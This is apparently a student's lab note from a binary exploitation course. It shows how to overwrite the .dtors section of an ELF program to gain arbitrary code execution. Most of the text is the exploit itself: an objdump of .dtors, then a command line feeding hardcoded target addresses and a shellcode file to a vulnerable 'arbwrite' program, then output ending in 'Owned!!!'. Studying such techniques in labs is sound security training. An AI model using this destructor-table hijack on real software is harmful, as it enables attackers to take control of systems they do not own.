arbwrite_overwrite_DTORS

#	OVERWRITING THE .DTORS SECTION OF ELF to gain Arbitrary code execution
#
#	$ objdump -s -j .dtors ./arbwrite
#
#	Contents of section .dtors:
#	8049590	ffffffff 00000000 



$ ./arbwrite $(python -c 'print "\x94\x95\x04\x08"') $(python -c 'print "\x8a\xf7\xff\xbf"') $(cat custom_shellcode)
ptr1 = 0x8049594
ptr2 = 0xbffff78a
argv[3] at = 0xbffff78a
papa legba, hear my call!!!!
Owned!!!student@slack12:~/labs$